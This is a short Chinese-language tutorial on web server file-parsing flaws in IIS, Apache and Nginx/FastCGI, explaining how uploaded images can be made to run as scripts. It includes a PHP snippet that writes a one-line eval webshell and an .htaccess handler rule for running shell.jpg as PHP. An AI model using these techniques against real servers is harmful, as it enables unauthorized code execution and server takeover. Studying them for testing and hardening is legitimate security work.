1.什么是解析漏洞
解析漏洞主要说的是一些特殊文件被IIS、Apache、Nginx在某种情况下被解释成脚本文件格式的漏洞。
2.IIS 5.X/6.0解析漏洞
①.目录解析
/xx.asp/xx.jpg
在网站下建立文件夹的名为为.asp、.asa的文件夹,其目录内的任何扩展名的文件都被IIS当作asp文件来解析并执行
例如创建目录N0Sec.asp,那么/N0Sec.asp/1.jpg将会被当作asp文件来执行。
如果黑客可以控制上传文件夹路径,就可以不管上传后的图片改不改名都能拿到Shell了。
②.文件解析
Xxx.asp;.jpg
在IIS6.0下,分号后面的不被解析,也就是说xxx.asp;.jpg会被服务器解析为xxx.asp
IIS 6.0默认可执行文件除了ASP还包括.asa、.cer、.cdx
3.Apache解析漏洞
Apache是从右至左开始判断解析,如果为不可识别解析,就再往左进行判断。
例如:xxx.php.oef.rar中.oef和.rar这两种后缀不是Apache可以识别的解析,Apache就会将xxx.php.oef.rar解析为xxx.php
如何判断是不是合法后缀就是这个漏洞利用的关键,测试时可以尝试上传一个xxx.php.oef.rar去测试是否为合法后缀(可以尝试将你知道的后缀都写上),任意不识别的后缀,会逐级向上识别
4.IIS 7.0/IIS 7.5/Nginx < 8.03急性解析漏洞
在默认Fast-CGI开启状况下,黑客上传一个名字为xxx.jpg的文件,内容为<?PHP fputs(fopen(‘shell.php’,’w’),<?php eval($_POST[cmd])?>’); ?>的文件,然后访问xxx.jpg/.php,在这个目录下就会生成一个一句话木马shell.php,www.xxx.com/logo.gif/*.php出发漏洞,如果存在漏洞,就会将前面的文件当作php执行。
5.htaccess文件解析
如果在Apache中.htaccess可被执行,且可被上传。那么可以尝试在.htaccess中写入
<FileMatch “shell.jpg”>
SetHandler application/x-httpd-php
</FileMatch>
然后再上传shell.jpg木马,这样shell.jpg就可以解析为php文件了